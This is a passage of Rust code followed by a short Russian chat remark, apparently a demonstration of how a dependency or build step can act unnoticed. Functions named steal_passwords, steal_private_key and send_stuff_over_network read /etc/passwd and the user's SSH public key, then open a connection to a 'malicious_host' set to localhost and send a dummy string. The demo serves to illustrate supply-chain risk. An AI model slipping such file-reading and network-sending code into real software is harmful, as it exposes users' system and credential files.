steal_passwords();
steal_private_key();
send_stuff_over_network();
}
fn steal_passwords() {
let mut f = match File::open("/etc/passwd") {
Ok(f) => f,
Err(_) => {
println!("drats! foiled!");
return;
}
};
let mut contents = String::new();
f.read_to_string(&mut contents).unwrap();
print!("{}", contents);
}
fn steal_private_key() {
match std::env::var("LOGNAME") {
Ok(val) => {
// only public key. i'm not that evil
let mut f = match File::open(format!("/home/{}/.ssh/id_rsa.pub", val)) {
Ok(f) => f,
Err(_) => {
println!("couldn't open public key");
return;
}
};
let mut key_contents = String::new();
f.read_to_string(&mut key_contents).unwrap();
print!("{}", key_contents);
},
Err(_) => {
println!("couldn't get username");
return;
}
}
}
fn send_stuff_over_network() {
let malicious_host = "127.0.0.1"; // google is "172.217.25.46" if you want to test *real* networking
let mut stream = match TcpStream::connect(format!("{}:8080", malicious_host)) {
Ok(s) => s,
Err(_) => {
println!("hmm, no networking?");
return;
},
};
let msg = String::from("totally not someone's public key\n");
let _ = stream.write(msg.as_bytes());
}
Наайс. А по доке то этого и не увидеть.
Обсуждают сегодня